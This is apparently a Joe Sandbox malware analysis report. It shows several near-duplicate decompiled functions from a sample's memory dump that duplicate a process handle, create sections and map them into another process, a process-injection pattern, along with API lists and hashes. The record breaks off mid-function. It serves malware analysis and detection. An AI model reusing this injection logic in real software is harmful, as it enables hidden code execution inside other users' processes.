				struct _EXCEPTION_RECORD* _t183;
				intOrPtr* _t184;
				HANDLE* _t185;
				HANDLE* _t186;
				intOrPtr _t199;
				void* _t200;
				intOrPtr* _t201;
				void* _t205;

				_push(0x387);
				_t201 = _t200 + 4;
				_push(0x83);
				L004011F5(_t175, _t205);
				_t127 = _a4;
				_t176 = 0;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t87 =  *((intOrPtr*)(_t127 + 0x48))();
					if(_t87 != 0) {
						break;
					}
					 *((intOrPtr*)(_t127 + 0x1c))(0x3e8);
				}
				_v96 = _t87;
				_t183 =  &_v100;
				 *_t183 = _t176;
				 *((intOrPtr*)(_t127 + 0x4c))(_t87, _t183);
				_t90 =  *_t183;
				if(_t90 != 0) {
					_t132 =  &_v52;
					 *_t132 = _t90;
					 *(_t132 + 4) = _t176;
					_t184 =  &_v44;
					 *((intOrPtr*)(_t127 + 0x10))(_t184, 0x18);
					 *_t184 = 0x18;
					_push( &_v52);
					_push(_t184);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t127 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, _t176, _t176, 2) == 0) {
						_v12 = _t176;
						_t97 =  &_v84;
						 *(_t97 + 4) = _t176;
						 *_t97 = 0x5000;
						_t185 =  &_v88;
						if(NtCreateSection(_t185, 6, _t176, _t97, 4, 0x8000000, _t176) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t121 =  &_v72;
							 *_t121 = _t176;
							if(NtMapViewOfSection( *_t185, 0xffffffff, _t121, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
								_t123 =  &_v64;
								 *_t123 = _t176;
								if(NtMapViewOfSection( *_t185, _v16, _t123, _t176, _t176, _t176,  &_v60, 1, _t176, 4) == 0) {
									_t199 = _v72;
									 *((intOrPtr*)(_t127 + 0x20))(_t176, _t199, 0x104);
									 *((intOrPtr*)(_t199 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t99 =  &_v84;
						 *(_t99 + 4) = _t176;
						 *_t99 = _a12 + 0x10000;
						_t186 =  &_v92;
						_t100 = NtCreateSection(_t186, 0xe, _t176, _t99, 0x40, 0x8000000, _t176);
						if (_t100 != 0) goto L67;
						 *_t100 =  *_t100 + _t100;
					}
				}
				_push(0x15a4);
				_t91 =  *_t201;
				_push(0x83);
				L004011F5(_t176, _t226);
				return _t91;
			}

0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164b
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction ID: 4afb5ad6e9f78dbb0f0fc4dd380045413720c66cee1019041566b0107d6eeca4
Opcode Fuzzy Hash: 94fb41d671dbeab80d9278360f7b723801272b6da464276eb8e79f9657775aa6
Instruction Fuzzy Hash: 2F615E71900208FBEB209F91CC49FAF7BB8EF85B14F10412AF912BA1E5D6749901DB66

Uniqueness

Uniqueness Score: -1.00%

Function 00401564 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401564(void* __eax, void* __edx, void* __esi) {
				intOrPtr _t89;
				struct _EXCEPTION_RECORD _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t129;
				struct _EXCEPTION_RECORD* _t135;
				void* _t179;
				struct _EXCEPTION_RECORD _t180;
				struct _EXCEPTION_RECORD* _t190;
				intOrPtr* _t192;
				HANDLE* _t193;
				HANDLE* _t194;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				void* _t216;

				_t216 = __eax + 0x15a4b8;
				_push(0x387);
				_t211 = _t210 + 4;
				_push(0x83);
				L004011F5(_t179, _t216);
				_t129 =  *((intOrPtr*)(_t208 + 8));
				_t180 = 0;
				 *((intOrPtr*)(_t208 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t208 - 0x34)) =  *((intOrPtr*)(_t208 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t129 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t89;
				_t190 = _t208 - 0x60;
				 *_t190 = _t180;
				 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t190);
				_t92 =  *_t190;
				if(_t92 != 0) {
					_t135 = _t208 - 0x30;
					 *_t135 = _t92;
					 *(_t135 + 4) = _t180;
					_t192 = _t208 - 0x28;
					 *((intOrPtr*)(_t129 + 0x10))(_t192, 0x18);
					 *_t192 = 0x18;
					_push(_t208 - 0x30);
					_push(_t192);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t129 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t180, _t180, 2) == 0) {
						 *(_t208 - 8) = _t180;
						_t99 = _t208 - 0x50;
						 *(_t99 + 4) = _t180;
						 *_t99 = 0x5000;
						_t193 = _t208 - 0x54;
						if(NtCreateSection(_t193, 6, _t180, _t99, 4, 0x8000000, _t180) == 0) {
							 *_t25 =  *(_t208 - 0x50);
							_t123 = _t208 - 0x44;
							 *_t123 = _t180;
							if(NtMapViewOfSection( *_t193, 0xffffffff, _t123, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
								_t125 = _t208 - 0x3c;
								 *_t125 = _t180;
								if(NtMapViewOfSection( *_t193,  *(_t208 - 0xc), _t125, _t180, _t180, _t180, _t208 - 0x38, 1, _t180, 4) == 0) {
									_t207 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t129 + 0x20))(_t180, _t207, 0x104);
									 *((intOrPtr*)(_t207 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t180;
						 *_t101 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t194 = _t208 - 0x58;
						_t102 = NtCreateSection(_t194, 0xe, _t180, _t101, 0x40, 0x8000000, _t180);
						if (_t102 != 0) goto L66;
						 *_t102 =  *_t102 + _t102;
					}
				}
				_push(0x15a4);
				_t93 =  *_t211;
				_push(0x83);
				L004011F5(_t180, _t237);
				return _t93;
			}

0x00401566
0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction ID: 3c61d4fa49215657d74707620d36eaa57d50516e3f831c539a14d6838cb40392
Opcode Fuzzy Hash: 25fb98b4f42f8453298f183ae8c9fe853ab2af685c4accb6617153fec11399dc
Instruction Fuzzy Hash: 23513CB1900249FBEB209F91CC49FAF7BB8EF85710F14412AF911BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401577 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 81%

			E00401577() {
				intOrPtr _t86;
				struct _EXCEPTION_RECORD _t89;
				intOrPtr _t90;
				struct _GUID _t96;
				struct _GUID _t98;
				long _t99;
				PVOID* _t120;
				PVOID* _t122;
				intOrPtr _t126;
				struct _EXCEPTION_RECORD* _t132;
				void* _t175;
				struct _EXCEPTION_RECORD _t176;
				struct _EXCEPTION_RECORD* _t184;
				intOrPtr* _t186;
				HANDLE* _t187;
				HANDLE* _t188;
				void* _t201;
				void* _t202;
				void* _t204;
				intOrPtr* _t205;
				void* _t210;

				asm("repe push 0x387");
				_push(0x387);
				_t205 = _t204 + 4;
				_push(0x83);
				L004011F5(_t175, _t210);
				_t126 =  *((intOrPtr*)(_t202 + 8));
				_t176 = 0;
				 *((intOrPtr*)(_t202 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t202 - 0x34)) =  *((intOrPtr*)(_t202 - 0x34)) + 1;
				}
				while(1) {
					_t86 =  *((intOrPtr*)(_t126 + 0x48))();
					if(_t86 != 0) {
						break;
					}
					 *((intOrPtr*)(_t126 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t202 - 0x5c)) = _t86;
				_t184 = _t202 - 0x60;
				 *_t184 = _t176;
				 *((intOrPtr*)(_t126 + 0x4c))(_t86, _t184);
				_t89 =  *_t184;
				if(_t89 != 0) {
					_t132 = _t202 - 0x30;
					 *_t132 = _t89;
					 *(_t132 + 4) = _t176;
					_t186 = _t202 - 0x28;
					 *((intOrPtr*)(_t126 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_push(_t202 - 0x30);
					_push(_t186);
					_push(0x40);
					_push(_t202 - 0x10);
					if( *((intOrPtr*)(_t126 + 0x70))() == 0 && NtDuplicateObject( *(_t202 - 0x10), 0xffffffff, 0xffffffff, _t202 - 0xc, _t176, _t176, 2) == 0) {
						 *(_t202 - 8) = _t176;
						_t96 = _t202 - 0x50;
						 *(_t96 + 4) = _t176;
						 *_t96 = 0x5000;
						_t187 = _t202 - 0x54;
						if(NtCreateSection(_t187, 6, _t176, _t96, 4, 0x8000000, _t176) == 0) {
							 *_t25 =  *(_t202 - 0x50);
							_t120 = _t202 - 0x44;
							 *_t120 = _t176;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t120, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
								_t122 = _t202 - 0x3c;
								 *_t122 = _t176;
								if(NtMapViewOfSection( *_t187,  *(_t202 - 0xc), _t122, _t176, _t176, _t176, _t202 - 0x38, 1, _t176, 4) == 0) {
									_t201 =  *(_t202 - 0x44);
									 *((intOrPtr*)(_t126 + 0x20))(_t176, _t201, 0x104);
									 *((intOrPtr*)(_t201 + 0x208)) =  *((intOrPtr*)(_t202 + 0x14));
									 *(_t202 - 8) =  *(_t202 - 8) + 1;
								}
							}
						}
						_t98 = _t202 - 0x50;
						 *(_t98 + 4) = _t176;
						 *_t98 =  *((intOrPtr*)(_t202 + 0x10)) + 0x10000;
						_t188 = _t202 - 0x58;
						_t99 = NtCreateSection(_t188, 0xe, _t176, _t98, 0x40, 0x8000000, _t176);
						if (_t99 != 0) goto L63;
						 *_t99 =  *_t99 + _t99;
					}
				}
				_push(0x15a4);
				_t90 =  *_t205;
				_push(0x83);
				L004011F5(_t176, _t231);
				return _t90;
			}

0x00401577
0x00401578
0x00401580
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction ID: ba3189e89dbc592d8eefb072767128172b6b3105eb2a85c49d1307986ab5c8dd
Opcode Fuzzy Hash: 083574d86fbacfeeee5c63ee9eae41342103da8b89c03bac49e39559cf037064
Instruction Fuzzy Hash: 9D511B71900249BFEB209F91CC48FAF7BB8FF85B14F10412AFA11BA1E5D6749941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401523 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E00401523(void* __eax, void* __esi, void* __eflags) {
				long _t89;
				long _t92;
				intOrPtr _t93;
				struct _GUID _t99;
				long _t100;
				struct _GUID _t101;
				long _t102;
				PVOID* _t123;
				long _t124;
				PVOID* _t125;
				long _t126;
				intOrPtr _t129;
				long* _t134;
				void* _t176;
				struct _EXCEPTION_RECORD _t177;
				struct _EXCEPTION_RECORD* _t187;
				intOrPtr* _t189;
				HANDLE* _t190;
				HANDLE* _t191;
				void* _t204;
				void* _t205;
				intOrPtr* _t207;

				asm("outsd");
				asm("out 0x70, al");
				if(__eflags > 0) {
					L004011F5(_t176, __eflags);
					_t129 =  *((intOrPtr*)(_t205 + 8));
					_t177 = 0;
					 *(_t205 - 0x34) = 0;
					__eflags = gs;
					if(gs != 0) {
						_t4 = _t205 - 0x34;
						 *_t4 =  *(_t205 - 0x34) + 1;
						__eflags =  *_t4;
					}
					while(1) {
						_t89 =  *((intOrPtr*)(_t129 + 0x48))();
						__eflags = _t89;
						if(_t89 != 0) {
							break;
						}
						 *((intOrPtr*)(_t129 + 0x1c))(0x3e8);
					}
					 *(_t205 - 0x5c) = _t89;
					_t187 = _t205 - 0x60;
					 *_t187 = _t177;
					 *((intOrPtr*)(_t129 + 0x4c))(_t89, _t187);
					_t92 =  *_t187;
					__eflags = _t92;
					if(__eflags != 0) {
						_t134 = _t205 - 0x30;
						 *_t134 = _t92;
						_t134[1] = _t177;
						_t189 = _t205 - 0x28;
						 *((intOrPtr*)(_t129 + 0x10))(_t189, 0x18);
						 *_t189 = 0x18;
						__eflags =  *((intOrPtr*)(_t129 + 0x70))(_t205 - 0x10, 0x40, _t189, _t205 - 0x30);
						if(__eflags == 0) {
							__eflags = NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, _t177, _t177, 2);
							if(__eflags == 0) {
								 *(_t205 - 8) = _t177;
								_t99 = _t205 - 0x50;
								 *(_t99 + 4) = _t177;
								 *_t99 = 0x5000;
								_t190 = _t205 - 0x54;
								_t100 = NtCreateSection(_t190, 6, _t177, _t99, 4, 0x8000000, _t177);
								__eflags = _t100;
								if(_t100 == 0) {
									 *_t26 =  *(_t205 - 0x50);
									_t123 = _t205 - 0x44;
									 *_t123 = _t177;
									_t124 = NtMapViewOfSection( *_t190, 0xffffffff, _t123, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
									__eflags = _t124;
									if(_t124 == 0) {
										_t125 = _t205 - 0x3c;
										 *_t125 = _t177;
										_t126 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t125, _t177, _t177, _t177, _t205 - 0x38, 1, _t177, 4);
										__eflags = _t126;
										if(_t126 == 0) {
											_t204 =  *(_t205 - 0x44);
											 *((intOrPtr*)(_t129 + 0x20))(_t177, _t204, 0x104);
											 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
											_t38 = _t205 - 8;
											 *_t38 =  *(_t205 - 8) + 1;
											__eflags =  *_t38;
										}
									}
								}
								_t101 = _t205 - 0x50;
								 *(_t101 + 4) = _t177;
								 *_t101 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
								_t191 = _t205 - 0x58;
								_t102 = NtCreateSection(_t191, 0xe, _t177, _t101, 0x40, 0x8000000, _t177);
								__eflags = _t102;
								if (_t102 != 0) goto L60;
								 *_t102 =  *_t102 + _t102;
								__eflags =  *_t102;
							}
						}
					}
					_push(0x15a4);
					_t93 =  *_t207;
					_push(0x83);
					L004011F5(_t177, __eflags);
					return _t93;
				} else {
					asm("popfd");
					asm("repe add al, 0x9b");
					asm("wait");
					asm("wait");
					return __esi;
				}
			}

0x00401523
0x00401524
0x00401527
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015af
0x004015b2
0x004015b4
0x004015b4
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015ba
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d1
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x00401600
0x00401602
0x0040161d
0x0040161f
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401644
0x00401647
0x00401649
0x0040164e
0x00401651
0x00401654
0x00401667
0x0040166a
0x0040166c
0x0040166e
0x00401671
0x00401685
0x00401688
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016c9
0x004016cb
0x004016cf
0x004016cf
0x004016cf
0x0040161f
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f
0x00401529
0x00401529
0x0040152a
0x0040152d
0x0040152e
0x0040152f
0x0040152f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$CreateDuplicateObject
String ID:
API String ID: 3617974760-0
Opcode ID: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction ID: c9dca56e4daa214b2bd9150ebf0f157daf6c833c296841cdcd3f7df5e4c146b1
Opcode Fuzzy Hash: f2a4be680cfb18686692e1608cce56726be6b364057ceed8b4cf4ca6dcfe5132
Instruction Fuzzy Hash: 91510A71900249BFEB209F92CC48F9FBBB8FF85B14F14411AFA11BA2A5D7749945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040158C Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E0040158C(void* __eax, void* __edi) {
				void* _t89;
				intOrPtr _t91;
				struct _EXCEPTION_RECORD _t94;
				intOrPtr _t95;
				struct _GUID _t101;
				struct _GUID _t103;
				long _t104;
				PVOID* _t125;
				PVOID* _t127;
				intOrPtr _t131;
				struct _EXCEPTION_RECORD* _t136;
				void* _t180;
				struct _EXCEPTION_RECORD _t181;
				struct _EXCEPTION_RECORD* _t189;
				intOrPtr* _t191;
				HANDLE* _t192;
				HANDLE* _t193;
				void* _t206;
				void* _t207;
				void* _t208;
				void* _t210;
				intOrPtr* _t211;
				intOrPtr _t216;

				_t211 = _t210 + 1;
				asm("clc");
				asm("stc");
				_t89 = _t207;
				_t208 = __eax;
				_t180 = __edi - 1;
				_t2 = _t89 - 0x7d;
				 *_t2 =  *((intOrPtr*)(_t89 - 0x7d));
				_t216 =  *_t2;
				_push(0x83);
				L004011F5(_t180, _t216);
				_t131 =  *((intOrPtr*)(__eax + 8));
				_t181 = 0;
				 *((intOrPtr*)(__eax - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(__eax - 0x34)) =  *((intOrPtr*)(__eax - 0x34)) + 1;
				}
				while(1) {
					_t91 =  *((intOrPtr*)(_t131 + 0x48))();
					if(_t91 != 0) {
						break;
					}
					 *((intOrPtr*)(_t131 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t208 - 0x5c)) = _t91;
				_t189 = _t208 - 0x60;
				 *_t189 = _t181;
				 *((intOrPtr*)(_t131 + 0x4c))(_t91, _t189);
				_t94 =  *_t189;
				if(_t94 != 0) {
					_t136 = _t208 - 0x30;
					 *_t136 = _t94;
					 *(_t136 + 4) = _t181;
					_t191 = _t208 - 0x28;
					 *((intOrPtr*)(_t131 + 0x10))(_t191, 0x18);
					 *_t191 = 0x18;
					_push(_t208 - 0x30);
					_push(_t191);
					_push(0x40);
					_push(_t208 - 0x10);
					if( *((intOrPtr*)(_t131 + 0x70))() == 0 && NtDuplicateObject( *(_t208 - 0x10), 0xffffffff, 0xffffffff, _t208 - 0xc, _t181, _t181, 2) == 0) {
						 *(_t208 - 8) = _t181;
						_t101 = _t208 - 0x50;
						 *(_t101 + 4) = _t181;
						 *_t101 = 0x5000;
						_t192 = _t208 - 0x54;
						if(NtCreateSection(_t192, 6, _t181, _t101, 4, 0x8000000, _t181) == 0) {
							 *_t28 =  *(_t208 - 0x50);
							_t125 = _t208 - 0x44;
							 *_t125 = _t181;
							if(NtMapViewOfSection( *_t192, 0xffffffff, _t125, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
								_t127 = _t208 - 0x3c;
								 *_t127 = _t181;
								if(NtMapViewOfSection( *_t192,  *(_t208 - 0xc), _t127, _t181, _t181, _t181, _t208 - 0x38, 1, _t181, 4) == 0) {
									_t206 =  *(_t208 - 0x44);
									 *((intOrPtr*)(_t131 + 0x20))(_t181, _t206, 0x104);
									 *((intOrPtr*)(_t206 + 0x208)) =  *((intOrPtr*)(_t208 + 0x14));
									 *(_t208 - 8) =  *(_t208 - 8) + 1;
								}
							}
						}
						_t103 = _t208 - 0x50;
						 *(_t103 + 4) = _t181;
						 *_t103 =  *((intOrPtr*)(_t208 + 0x10)) + 0x10000;
						_t193 = _t208 - 0x58;
						_t104 = NtCreateSection(_t193, 0xe, _t181, _t103, 0x40, 0x8000000, _t181);
						if (_t104 != 0) goto L60;
						 *_t104 =  *_t104 + _t104;
					}
				}
				_push(0x15a4);
				_t95 =  *_t211;
				_push(0x83);
				L004011F5(_t181, _t237);
				return _t95;
			}

0x0040158c
0x0040158d
0x0040158e
0x0040158f
0x0040158f
0x00401590
0x00401591
0x00401591
0x00401591
0x00401592
0x0040159f
0x004015a4
0x004015a7
0x004015a9
0x004015b2
0x004015b4
0x004015b4
0x004015b7
0x004015b7
0x004015bc
0x00000000
0x00000000
0x004018dc
0x004018dc
0x004015c2
0x004015c5
0x004015c8
0x004015cc
0x004015cf
0x004015d3
0x004015d9
0x004015dc
0x004015de
0x004015e1
0x004015e7
0x004015ea
0x004015f8
0x004015f9
0x004015fa
0x004015fc
0x00401602
0x00401625
0x00401628
0x0040162b
0x0040162e
0x00401634
0x00401649
0x0040164e
0x00401651
0x00401654
0x0040166c
0x0040166e
0x00401671
0x0040168a
0x0040168c
0x00401696
0x0040169c
0x004016a2
0x004016a2
0x0040168a
0x0040166c
0x004016a5
0x004016b1
0x004016b4
0x004016b6
0x004016c6
0x004016cb
0x004016cf
0x004016cf
0x00401602
0x004018ea
0x004018ef
0x00401914
0x00401926
0x0040192f

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.564160473.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction ID: 02d2e3ac3767ea31e924919402f7a0ff100aaf9667a8aefd77e34752db93229b
Opcode Fuzzy Hash: c7db028f8420b358ec692813db1bfb5c9bff11339c6e47bbd5ed771e3bdbe30c
Instruction Fuzzy Hash: C9513AB1900249BFEB209F92CC48F9FBBB8FF85B14F10415AFA11AA1E5D7749944CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00401585 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00401585() {
